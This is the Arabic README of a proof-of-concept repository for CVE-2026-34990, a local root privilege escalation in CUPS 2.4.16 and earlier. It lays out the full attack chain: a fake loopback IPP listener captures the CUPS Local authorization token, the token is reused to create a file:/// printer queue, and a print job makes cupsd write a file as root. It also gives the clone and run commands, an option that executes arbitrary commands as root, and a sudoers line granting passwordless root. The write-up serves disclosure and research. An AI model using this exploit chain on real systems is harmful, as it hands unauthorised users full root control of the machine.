
CVE-2026-34990 — تصعيد الصلاحيات المحلي في CUPS <= 2.4.16
مستخدم محلي غير متميز → root، عبر تسريب رمز تفويض
Localالخاص بـ CUPS وطابور طباعةfile:///يتجاوز السياسات.PoC by 0xcybersoldier
CVE-2026-34990 هي ثغرة تصعيد صلاحيات محلية في OpenPrinting CUPS تؤثر على الإصدارات 2.4.16 وما قبلها.
يمكن لمستخدم محلي غير متميز قادر على الوصول إلى خدمة CUPS (cupsd) أن يتسبب في مصادقتها ضد خدمة IPP يتحكم بها المهاجم على واجهة loopback.
يمكن بعد ذلك إعادة استخدام بيانات الاعتماد الناتجة Authorization: Local <token> ضد واجهة إدارة CUPS.
يمكن استخدام سلسلة الهجوم في النهاية لإنشاء طابور طباعة file:/// والتسبب في قيام cupsd بكتابة ملف يتحكم به المهاجم بصلاحيات root.
يستخدم العرض التوضيحي القياسي ملف sudoers إضافيًا للحصول على صدفة root.
يحتوي هذا المستودع على PoC بلغة Python 3 في ملف واحد ينفذ سلسلة الهجوم، بما في ذلك وضع --check الأكثر أمانًا لإظهار سلوك كتابة الملفات الثغري دون إنشاء تكوين تصعيد صلاحيات دائم مباشرة.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-34990 |
| المكوّن | OpenPrinting CUPS (cupsd) |
| الإصدارات المتأثرة | <= 2.4.16 |
| فئة الثغرة | CWE-306 / CWE-284 |
| التأثير | تصعيد الصلاحيات المحلي |
| ناقل الهجوم | محلي |
| الصلاحيات المطلوبة | منخفضة |
| تفاعل المستخدم | لا يوجد |
| مكتشفة بواسطة | Asim Viladi Oglu Manizada |
| الإشعار الأمني | GHSA-c54j-2vqw-wpwp |
يستهدف PoC:
OpenPrinting CUPS <= 2.4.16
تحقق من إصدار CUPS قيد التشغيل محليًا:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
مثال:
Server: CUPS/2.4.16 IPP/2.1
ملاحظة: تحقق من الإشعار الأمني الحالي للمشروع الأصلي قبل الاعتماد على نطاق الإصدارات المتأثرة في أبحاث الإنتاج، لأن تصحيحات الموردين وحالة الإصدارات قد تتغير.
[1] Local user issues CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd connects to the attacker-controlled
IPP service on loopback
|
v
[3] Fake IPP service responds with:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups retries the request with:
Authorization: Local <token>
|
v
[5] Token captured
|
v
[6] Token reused against the CUPS administrative interface
|
v
[7] Temporary file:// printer is created and
transitioned through the printer-management workflow
|
v
[8] Print-Job causes cupsd to write the supplied
document to the file:// target
|
v
[9] Demonstration payload can modify a privileged
configuration such as sudoers
|
v
ROOT
127.0.0.1:631sudo لعرض تصعيد الصلاحياتلا حاجة لحزم Python خارجية.
استنسخ المستودع:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
اجعل PoC قابلًا للتنفيذ:
chmod +x cve-2026-34990.py
لا حاجة لتبعيات إضافية.
ابدأ بوضع التحقق غير الدائم:
./cve-2026-34990.py --check
يحاول وضع الفحص إظهار بدائية كتابة الملفات المملوكة لـ root الثغرية باستخدام ملف إثبات مؤقت وينظف بعد الاختبار.
يُظهر الوضع الافتراضي سلسلة تصعيد الصلاحيات الكاملة:
./cve-2026-34990.py
يمكن توفير أمر عبر:
./cve-2026-34990.py -c 'id'
مثال:
./cve-2026-34990.py -c 'id; whoami'
| العلم | الافتراضي | الوصف |
|---|---|---|
--cups-port | 631 | منفذ TCP المحلي لـ CUPS |
--listen-port | 9189 | منفذ loopback المستخدم بواسطة مستمع التقاط الرمز |
--check | معطّل | وضع التحقق الآمن |
-c, --command | — | تنفيذ أمر بعد نجاح الاستغلال |
--proof-dir | /var/tmp | الدليل الأب لملفات الإثبات المؤقتة |
--attempts | 8 | عدد محاولات كتابة الملفات |
--iterations | 80 | عدد جولات طلبات IPP لكل محاولة |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
PoC by 0xcybersoldier
[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file
ينشئ PoC طابعة CUPS مؤقتة يشير device-uri الخاص بها نحو مستمع IPP يتحكم به المهاجم على واجهة loopback.
مثال:
ipp://127.0.0.1:9189/ipp/print
يستجيب المستمع المحلي بتحدي مصادقة:
401 Unauthorized
WWW-Authenticate: Local trc="y"
يتسبب هذا في إعادة محاولة تفاعل عميل/خادم CUPS باستخدام آلية المصادقة المحلية.
يلتقط PoC بيانات الاعتماد الناتجة:
Authorization: Local <token>
يُعاد استخدام الرمز الملتقط في الطلبات إلى واجهة إدارة CUPS.
من الناحية النظرية:
Authorization: Local <TOKEN>
يوفر هذا سياق التفويض المطلوب لعمليات إدارة الطابعات اللاحقة.
يستغل الهجوم بعد ذلك سير عمل إدارة الطابعات لإنشاء طابور يشير إلى هدف file://.
الهدف ذو الصلة له الشكل:
file:///path/to/target
يستخدم PoC عمليات إدارة الطابعات اللازمة لجعل الطابور متصلًا وإرسال مهمة طباعة.
تُرسل مهمة الطباعة كمستند خام.
نظرًا لأن cupsd يعمل بصلاحيات root، يمكن أن تحدث عملية الملفات الناتجة بصلاحيات root.
يستخدم وضع --check هذه البدائية لإنشاء ملف إثبات مؤقت والتحقق من أنه مملوك لـ UID 0.
يمكن للعرض التوضيحي الكامل استخدام ملف تكوين متميز مثل ملف sudoers إضافي.
من الناحية النظرية:
user ALL=(ALL) NOPASSWD: ALL